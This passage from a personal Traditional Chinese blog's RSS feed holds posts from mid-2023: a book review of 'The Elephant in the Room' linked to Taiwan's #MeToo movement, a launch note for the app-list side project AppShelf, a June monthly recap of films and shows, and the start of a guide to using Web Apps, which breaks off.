<p>感覺這五天的行程都蠻緊湊的，舊金山市區可能是需要待久一點才能好好逛出他好玩的地方在哪吧。至於矽谷的話&hellip;還真的就不用去ㄌ，真的是有夠宅又有夠無聊的地方 (X 去 Apple Park 喝個咖啡就好，其他的可以 pass。</p>
<p>這裡要特別感謝 Liam 的堂哥 James 帶我們去吃了好多好吃的，還把車借我們開了幾天，真的是最罩地陪 👍🏻</p>
<h2 id="下集預告安頓匹茲堡" class="relative group">下集預告：安頓匹茲堡 </h2><p>剛好飛到匹茲堡已經跨到 8 月了，所以安頓新家的心得和趣事就留到 8 月的報報吧！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-july-dump</guid><pubDate>Fri, 18 Aug 2023 12:50:06 -0400</pubDate></item><item><title>《🐘 房間裡的大象》</title><link>https://blog.tomy.me/zh-tw/posts/the-elephant-in-the-room/</link><description>世上許多的不幸，源自......沒有說出口的事</description><content:encoded><![CDATA[<p>《房間裡的大象》，源自英文俚語 <a href="https://en.wikipedia.org/wiki/Elephant_in_the_room" target="_blank" rel="noreferrer">The Elephant in the Room<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，指的是某個議題因為太過爭議，導致即便問題已經大的荒謬，人們依舊選擇假裝這個問題並不存在、拒於討論。</p>
<p>常見的例子，比方說《國王的新衣》中群眾集體讚頌國王的新衣非常華麗，或是二戰時期的德國人會避免討論關於離開的猶太人都去了哪裡。</p>
<p>這本書深度解析了人性在面對這些複雜的爭議時，採取的選擇、反應，並解析為什麼人們會集體「串謀」，讓謊言持續傳頌下去，以及你可以怎麼做，來終結這個荒謬的僵局。</p>
<h2 id="-辨識大象" class="relative group">👁️‍🗨️ 辨識大象 </h2><p>即便這個概念聽上去適用空間很狹窄，但是作者對於這個現象的闡述很豐富，遠多過於後面的部分，但我對這部分比較不感興趣，這裡就不贅述。</p>
<p>簡單快速的判斷指標：當你覺得難以暢所欲言，對於開口時的用字需要步步為營，或是這個環境在無聲時比有聲更令人不適，那這個環境也許就有公開的秘密正在流竄著。</p>
<h2 id="-終結串謀" class="relative group">💥 終結串謀 </h2><p>在確定問題之後，這本書也給予了一份指南，來教你如何扭轉這樣的局面。</p>
<ol>
<li>🫵🏻 指出房間裡的大象</li>
</ol>
<p>第一步，最重要的就是要把問題指認出來，俗話說的開出第一槍。</p>
<p>這個步驟的重點在於把大家都知道的問題攤在陽光下，一方面可以會使得大家更難以繼續裝作沒看見這個問題，另一方面也創造出這個議題的討論空間。</p>
<ol start="2">
<li>取個名字利於討論</li>
</ol>
<p>難以啟齒的問題容易使人卻步，所以當現象級的問題需要被搬上檯面時，取名字是一種常見的做法。這麼做的目的在於緩解討論議題的摩擦力，也更能夠加深群眾印象，讓大家體現到問題是存在的，而且需要被改變。</p>
<p>比方說 Black Lives Matters 或是更近期一點的 #MeToo</p>
<ol start="3">
<li>旁觀者的協助&hellip;還是挑戰?</li>
</ol>
<p>挺身揭露需要勇氣，或許不是每個人都能在事件的當下成為發聲者，但身為旁觀事件的第三人，也同樣扮演著重要的角色。</p>
<p>在《國王的新衣》裡，一開始國王出巡時，大眾都還保持著裝聾作啞的態度，直到那個指出國王一絲不掛的小孩出現，群眾中才開始出現了些許的雜音。</p>
<p>而困難現在才正要浮現，在一片嘈雜的聲音中，也不免會出現「小孩子懂什麼」或是「國王的英明不可褻瀆」等言論，這些<strong>指責吹哨者可信度</strong>或是<strong>模糊焦點</strong>的言論，都會對試圖改變現狀的努力造成極大的傷害。</p>
<p>這或許會是這本書帶給我最大的啟發：</p>
<blockquote>
<p><strong>也許當下的你選擇沈默，成為共犯。</strong></p>
<p><strong>但不代表在情勢有所改變時，仍要繼續扮演隱匿證據的幫兇</strong></p>
</blockquote>
<p>如果這個時候，旁觀的人群沒有聲援或是附和這個小孩的說法，這個小孩只會被「懂事」的大人帶回家教訓，而未來更愚蠢的事情發生時，越來越少人會願意跳出來當第一個指控的人。</p>
<ol start="4">
<li>累積壓力</li>
</ol>
<p>即便眾人已經開始訕笑，但國王也清楚的知道，身為這場表演的主角，他必須繼續讓這齣戲演下去，因此維持一貫的自傲，堅決否認，成了他最好的選擇。</p>
<p>這時，突破困境最好的作法反而是反轉並利用這個困境——吸引夠多的旁觀者加入促使改變的一方，讓原本壓抑不去戳破的力量，轉而施加在堅決忽視的人身上。久而久之，輿論就會升累積到當事人不得不正面回應的臨界點，而就是在這個時間點，問題才能開始被有效的解決。</p>
<h2 id="-例外" class="relative group">🫢 例外 </h2><p>也是有很多時候，不需要把所有的事情都攤在陽光下。</p>
<p>比方說事情小到微不足道，公開指出沒有好處的時候。假設在某個非常正式的商務聚餐，有人一直叫錯名字，或者更糟，放了一聲響屁，這時候也許在場的人集體「忽視」這些尷尬的情境，會讓場面不這麼難堪。減少摩擦，是讓社會運作更「順暢」的關鍵。這也是值得反思的問題，為求讓社會更順利的運行下去，什麼樣的問題是微不足道、可以被忽視的？</p>
<h2 id="-結語--閱讀指南" class="relative group">💭 結語 × 閱讀指南 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/the-elephant-in-the-room/elephant-in-the-room-book.jpg"
      class="mx-auto my-0 rounded-md"
      alt="《房間裡的大象》書本封面"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這本書應該是 2 月的某個晚上，在誠品松菸意外翻到的。</p>
<p>當時翻到這本書，對這個議題還算有點興趣就買回家了，可惜過了序言之後，這本書的前 4 章都在討論這個現象的成因，還有剖析大眾心理，讀起來稍嫌沈悶，所以讀起來進度非常緩慢。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>但快轉到 5、6 月，這本書讀起來就不一樣了。因為台灣社會新聞的年度史詩大戲 #MeToo 運動正好開始連載，這時候讀到第 5 章，也就是如何打破的部分。</p>
<p>可以在新聞上看到某些人，真的如書上所說的做出了某些反應和舉動，感到有趣之餘其實也挺恐怖的，因為作者還會一一剖析這些反應背後的動機，以及他們想要達成的意圖，就像照妖鏡一樣，但照出的不只是當事人的醜陋，連在場沈默的共犯也都會逐一現形，甚至連講述事件的新聞媒體本身也無法倖免。</p>
<p>所以，如果你不信任媒體對 #MeToo 事件的刻畫，這本書或許會是提供你另一種思考的明燈。</p>
<p>By the way 最近身邊社科所的同學正在發起改善性平的連署活動</p>
<p>👉🏻 有興趣的話可以在<a href="https://forms.gle/NwJXPJbGDfFA7uz78" target="_blank" rel="noreferrer">這裡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>參與連署。</p>
<blockquote>
<p><strong>終結串謀比串謀本身 更具威脅性</strong></p>
</blockquote>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>還有就是我出去度假了 ♪~ ᕕ(ᐛ)ᕗ 這本書被我無情遺忘在台灣 XDD&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">the-elephant-in-the-room</guid><pubDate>Mon, 17 Jul 2023 17:04:05 +0800</pubDate></item><item><title>AppShelf —— 收藏 App 的好書櫃</title><link>https://blog.tomy.me/zh-tw/posts/appshelf/</link><description>寫一個 App 來收藏 App 跟用杯子蛋糕做蛋糕是不是同一個概念 XD</description><content:encoded><![CDATA[<p>最近把一個小 Side Project 告一個段落了！</p>
<p>跟大家隆重介紹—— <a href="https://appshelf.tomy.tech" target="_blank" rel="noreferrer">Appshelf<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，一款可以用來收藏 App 的好書櫃。</p>
<h2 id="-緣起" class="relative group">💭 緣起 </h2><p>故事要從我去年從歐洲旅行回來開始說起。</p>
<p>當時我每去到一個國家或城市，都會先在網路上查詢一些旅遊的相關小技巧，這時就會有很多大家推薦的 App 出現。像是查詢當地交通、美食、景點的 App。</p>
<p>於是在旅程結束之後，手機上就會累積一堆處境尷尬的 App：用不到，但如果刪掉了，下次再需要這些 App 時，又不知道要去哪裡把這些 App 找回來。</p>
<p>有些旅行部落客可能會專門寫一篇文章，或是 YouTuber 就會拍一支影片介紹，其實一方面就是把這些資訊留給以後的自己。</p>
<p>那對於我們這種沒在拍 YouTube、有部落格又懶得寫文章 (XDDDDD) 的人該怎麼辦呢？</p>
<p>就只好找一個漂亮的書櫃放起來，這樣下次有需要的時候就可以回來找它們囉</p>
<h2 id="-功能" class="relative group">✨ 功能 </h2><p>註冊登入完之後，就可以開始創建清單 (List)，每個清單可以加入多個 App <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，另外也可以為 App 加上備註 (Remark)，避免你忘記這個 App 是用來做什麼的。</p>
<p>完成 App 清單之後，可以進到清單設定裡，把清單設為公開 (Public)，然後把連結分享給有需要的朋友。</p>
<p>如果你自翊為一個 App 大師，渴望向世界宣告你獨特的 App 品味，也可以在個人設定的主頁把自己的帳戶設為公開，這樣大家就可以看到你的所有公開 App 清單。</p>
<p>好了，差不多就這樣，沒了 XDDDD</p>
<h2 id="-使用經驗分享" class="relative group">💬 使用經驗分享 </h2><p>這篇文如果就這樣結在這裡好像有點太廢了，所以接下來就讓我先來分享一些自己的私房 App 清單吧！</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/appshelf/europe-list.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="歐洲 App 清單"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">歐洲旅行的 App 清單，包含像是 Trainline 可以買很多不同國家的火車票，或是 Too Good To Go，有點像台灣的友善食光跟 i 珍食</figcaption>
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/appshelf/thailand-list.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="泰國 App 清單"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">之前在泰國 Workation 用到的 App 清單，私心覺得有收錄到一些網路上沒什麼人提到的好 App</figcaption>
  </figure>


<p>另外，我的 <a href="https://appshelf.tomy.tech/users/tomy0000000" target="_blank" rel="noreferrer">Profile<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 也是公開的，有興趣的話也可以移駕過去挖寶，看看裡面還有什麼有趣的 App 清單 XDD</p>
<h2 id="-結語" class="relative group">🪐 結語 </h2><p>AppShelf 是一款嶄新而充滿活力的應用程式，旨在為用戶提供全面的功能體驗。這個應用程式以其獨特的特點和卓越的使用者體驗在國際上備受矚目。它的先進科技、優質的使用者體驗和開發團隊國際經歷使其成為當今應用程式管理領域的領導者。無論你是一位專業的 App 愛好者，還是一位尋找理想應用程式的普通用戶，AppShelf 都是你不可或缺的工具。我們誠摯的邀請你體驗 AppShelf 的卓越功能，並加入我們這個精彩的應用程式社群！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>目前暫時只 macOS/iOS 的 App，也許之後會擴充，歡迎上 <a href="https://github.com/tomy0000000/appshelf" target="_blank" rel="noreferrer">GitHub<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 發 PR 給我哈哈哈哈&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">appshelf</guid><pubDate>Thu, 06 Jul 2023 23:04:22 +0800</pubDate></item><item><title>2023 年 6 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-june-dump/</link><description>藝文滿檔、作業多到快被當</description><content:encoded><![CDATA[<p>這個月雜事終於是少了些，反倒是作業開始多了 QQQQQ</p>
<p>但忙歸忙，還是安排了很多出門行程讓自己不會一直趴在電腦前面，讓現在的我有點東西可以寫：）</p>
<h2 id="本月藝文活動" class="relative group">本月藝文活動 </h2><h3 id="-名偵探柯南灰原哀物語黑鐵的神祕列車" class="relative group">🎬 名偵探柯南：灰原哀物語〜黑鐵的神祕列車 </h3><p>其實就是把 TV 版有關灰原的幾個重要的片段剪成精華，如果 TV 版有在追的人應該是可以直接跳過，但即便是對不熟悉柯南主線劇情的人，也不至於因為拼湊的剪接而影響觀影體驗。估計是為了下個月暑假要上的正式劇場版——《名偵探柯南：黑鐵的魚影》，先上一部懶人包幫大家回顧灰原的過去。</p>
<p>總之身為柯哀黨的我是相當期待 (ﾉ)´∀｀(ヾ)</p>
<h3 id="-蜘蛛人穿越新宇宙" class="relative group">🎬 蜘蛛人：穿越新宇宙 </h3><p>意外好看欸，有驚艷到</p>
<p>其實近年的蜘蛛人系列電影已經太多了，除了漫威的是因為我還有在追所以才有跟到 (其實也快棄坑了&hellip;)，不然其他索尼拍的我看完是沒什麼記憶點。這部是<a href="https://zh.wikipedia.org/wiki/%E8%9C%98%E8%9B%9B%E5%AE%87%E5%AE%99%E7%B3%BB%E5%88%97" target="_blank" rel="noreferrer">蜘蛛宇宙系列<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的第二集，我是在沒有看第一集的情況下就直接看，原本看預告的時候以為就是舊瓶裝新酒，但看完可以明顯感覺到編劇在劇情上的創新，不落俗套。但建議想去看的人還是可以先補一下第一集再看，觀影體驗應該會更好。缺點的話，我覺得結尾收在一個蠻奇怪的地方，突兀感挺重的，有種硬推第三集的感覺，但我還是挺期待的。</p>
<h3 id="-dtto-friends-夏日祭典-快閃店" class="relative group">🎪 <a href="https://www.huashan1914.com/w/huashan1914/exhibition_23052509151523701" target="_blank" rel="noreferrer">dtto friends 夏日祭典 快閃店<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> </h3><p>Dcard 吉祥物的快閃店，其實不太能算展覽，因為真的就是只有一間「店」，就是賣一些相關的廢廢小周邊，後來發現官網幾乎都有賣。</p>
<p>結論：路過可以逛一下，但可以不用特別去。</p>
<h3 id="-2023-gma-showcase-金曲售票演唱會" class="relative group">🎵 <a href="https://gma.tavis.tw/gm34/GMF/Showcase.asp" target="_blank" rel="noreferrer">2023 GMA SHOWCASE 金曲售票演唱會<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> </h3><p>應該算是金曲獎的前夜祭活動 嗎，總之是一個晚上有 4 組藝人橫跨不同曲風的表演，但我主要是想聽雷擎跟恐龍的皮。</p>
<p>不知道是不是因為橫跨了太多種類的音樂，再加上現場的金曲獎活動公關、記者似乎比真正的觀眾多 (?)，我覺得觀賞的品質沒有到非常好，有種很硬要的感覺。</p>
<p>但恐龍的皮還是很屌，音樂好聽表演夠ㄎㄧㄤ，希望以後還有機會可以看他們的專場 XDDDDD</p>
<h3 id="-怡岑首次單獨-live愛是騰空的魔幻" class="relative group">🎙️ <a href="https://comedyclub.kktix.cc/events/andrewpatanie" target="_blank" rel="noreferrer">怡岑首次單獨 Live：愛是騰空的魔幻<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-june-dump/andrewpatanie.jpg"
      class="mx-auto my-0 rounded-md"
      alt="愛是騰空的魔幻 現場謝幕照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">折扣碼我已經用掉了 嘻嘻</figcaption>
</figure>
</p>
<p>去年挑了兩個，希望去美國前可以看到的單口喜劇表演，一個是傑克，另一個就是怡岑。雖然傑克上個月也有辦專場，但那時候不知道為什麼沒有 follow 到開賣的訊息，所以錯過了搶票的時間 QQQQ 怡岑的票還剛好在大港第一天開賣，所以那時候聽隨性聽到一半還要把手機拿出來搶票 XDDDD</p>
<p>原本以為會是之前有上傳 YouTube 的片段再重新包裝，但沒想到還是有一些新的段子，有廢到笑的，有ㄎㄧㄤ到笑的，還有想套路觀眾卻反被套路的 (X)，只是有很多內容應該是只有第一場才有，估計之後 YouTube 大概也不會上傳，幸好我有卡到 嘻嘻</p>
<p>8 月還有加場，但似乎票都賣完了，如果很想看的話他的粉專有一篇換票文可以去爬一下，或是年底或明年當免費仔看 YouTube 哈哈哈哈哈</p>
<p><small>突然發現我怎麼都在推一些ㄎㄧㄤㄎㄧㄤ的東西，有夠瘋哈哈哈哈哈哈</small></p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p>這個月被 CMU 15-513 先修課的作業無情轟炸，感覺可以開副本的空間又被壓縮了，真是藍瘦 🥺</p>
<h3 id="-整理家當" class="relative group">🟡 整理家當 </h3><p>書桌算是清了 8 成，其實以這個標準是可以從餐桌撤退了，但在我打這篇文的當下還是在餐桌 xDDD</p>
<p>之前想到了一個新主意是，先把行李箱搬出來放在家裡的某個角落，然後想到要帶去美國的東西就直接往那邊丟，這樣 (或許會) 有助於加速我收行李的過程，總之就&hellip;再看看吧。</p>
<h3 id="-leetcode-30-題" class="relative group">🟡 LeetCode 30 題 </h3><p>本月實際寫了&hellip;(奏樂~~~)&hellip; 17 題。</p>
<p>更不用說原本的計畫是一週花 5 小時，實際上的情況是，這 17 題有 15 題是在 6/26 ~ 6/28 這 3 天，剛好兩份程式大作業的中間空檔擠出來的 😂😂</p>
<p>我覺得這個執行狀況真的是完美體現了所謂的番茄醬工作法 😅</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-june-dump/ketchup-technique.jpg"
      class="mx-auto my-0 rounded-md"
      alt="番茄醬工作法 Memes"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<h3 id="-發布-appshelf" class="relative group">🟡 發布 AppShelf </h3><p>封測走完了、Bug 解完了、文章寫好了&hellip;</p>
<p>結果串 Google 登入的審核一直沒下文，所以就一直沒有發布 QQQQQ</p>
<p>其實現在想想覺得，好像可以直接不用管辣麼多吼，反正到底有誰在乎 Google 登入能不能用 ¯\_(ツ)_/¯</p>
<p>下禮拜再沒有結果，我就直接上架ㄌ</p>
<h3 id="小結" class="relative group">小結 </h3><p>我發現之前在越南的時候，因為電腦會每天關機重開，加上我把瀏覽器首頁設定成我的每月目標，所以好像經常看到這些目標就比較能專注於達成這些目標。自從回來台灣之後，因為電腦就是放在桌上接著螢幕，開的網頁、App 也多，所以每天回到電腦前就只會馬上一頭栽進之前在做的事情。</p>
<p>似乎該想想如何保持 (電腦中) 工作桌面的乾淨，這樣也許會有助於我專注在真正重要的事情上。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>這是在台灣寫的最後一篇每月報報ㄌ嗚嗚嗚嗚嗚</p>
<p>7 月出發前有太多作業、太多想吃的東西、想去的地方、想見的朋友，我看不如就把這個月的半途而廢收尾就好了 😌</p>
<p>LeetCode 30 題雖然這個月沒有達成，但是實際執行之後，感覺一個月 30 題是一個合理的門檻。我想到一個新策略是，在某一個工作時段開始的時候，先隨手解個一題，當作醒腦或是解每日任務，這樣就不會有一種我一個禮拜還要撥一大塊時間出來給這件事的感覺。</p>
<h2 id="-那些我在-reddit-上看到的酷酷貼文" class="relative group">👻 那些我在 Reddit 上看到的酷酷貼文 </h2>
<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/12lh4ur/people_are_impressed_by_the_uniqueness_of/">People are impressed by the uniqueness of snowflakes but potatoes are equally unique and no one cares.</a><br> by
<a href="https://www.reddit.com/user/BallsOutKrunked/">u/BallsOutKrunked</a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>大家總是對每一片雪花都有不同的形狀感覺到神奇，卻沒有人在乎每一顆馬鈴薯的形狀也是獨一無二的。</p>
</blockquote>
<p>那就，祝每個獨一無二的馬鈴薯薯假快樂，我們下個月匹茲堡見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-june-dump</guid><pubDate>Sun, 02 Jul 2023 16:19:13 +0800</pubDate></item><item><title>Web Apps 優化指南：操作篇</title><link>https://blog.tomy.me/zh-tw/posts/web-apps-fine-tune-ii/</link><description>將 Web Apps 的潛能發揮到極致吧！</description><content:encoded><![CDATA[<p>在<a href="/zh-tw/posts/web-apps-fine-tune-i/">上一篇</a>，我們把我們想封裝的 Web Apps 打包好了，這一篇要進入最精華的部分：優化操作體驗。</p>
<h2 id="-緣由與原理" class="relative group">🤔 緣由與原理 </h2><p>在進入正題之前，先來解答很多人在讀到上一篇的時候可能會想到的一個問題：</p>
<blockquote>
<p>啊我在瀏覽器裡操作這些網頁好好的，為什麼沒事要把他封裝成 Web Apps？</p>
</blockquote>
<p>其實並沒有錯，網頁並不會因為被封裝成 Web Apps 而在功能上有太大的改變。但對作業系統來說，Web Apps 是一個獨立於瀏覽器的存在，也正因為這個特質，讓我們可以在這個基礎上去改變操作 Web Apps 的方式。</p>
<p>聽起來可能有點抽象，來舉個例子：</p>
<p>假設我現在要在 Google Docs 上寫一篇文章，通常我會同時打開維基百科、其他網頁、還有其他在電腦上的 PDF 文件或應用程式來當作參考資料。因此在寫文章的時候，我會透過 <kbd>⌘</kbd> + <kbd>Tab</kbd> (或是 <kbd>Ctrl</kbd> + <kbd>Tab</kbd>) 頻繁的來回切換的這些視窗。但是在切換的時候，Google Docs 就是瀏覽器的一部分，因此不管我怎麼切換，我都會需要使用滑鼠或其他快捷鍵來完成切換回 Google Docs 的最後一哩路。</p>
<p>此時，如果 Google Docs 已經被封裝成 Web Apps，作業系統就會把 Google Docs 視為一個獨立的 App，所以在切換的時候，目光就可以快速的定位回到寫作的狀態。</p>
<p>另外一點就是增加使用時的沈浸感，換句話說就是增加使用時的摩擦力，對於工作的效率也會有不容小覷的影響。這個原理其實跟<a href="/zh-tw/posts/atomic-habits/#-設計環境-最小努力原則">《原子習慣》</a>中提到的非常相似：<strong>減少摩擦力會有助於從事困難的事務</strong>。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-ii/web-apps-in-mission-control.jpg"
      class="mx-auto my-0 rounded-md"
      alt="控制中心可以清楚看到 Web Apps 被分開呈現"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">另外，在 Mac 上使用控制中心 的時候，Web Apps 也會被獨立分類 (藍色箭頭)<br/>不會被淹沒在瀏覽器的堆疊中 (紅色箭頭)<br/>Windows 上同樣的功能叫做工作檢視，就是在開始鈕旁邊點下去會看到所有視窗的那個</figcaption>
</figure>
</p>
<h2 id="-滑鼠側鍵" class="relative group">🖱️ 滑鼠側鍵 </h2><p>如果你的滑鼠剛好有側鍵，通常廠商會提供軟體來讓你客製化這些側鍵的功能，但這些軟體最大的缺點就是只能夠針對個別應用程式設定，一般是沒辦法針對某一個網頁來客製化的。因此，Web Apps 就給了你客製化網頁的機會。</p>
<p>最簡單的方式就是透過鍵盤快捷鍵。比方說，你可以在<a href="https://support.google.com/youtube/answer/7631406?hl=zh-Hant" target="_blank" rel="noreferrer">這裡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 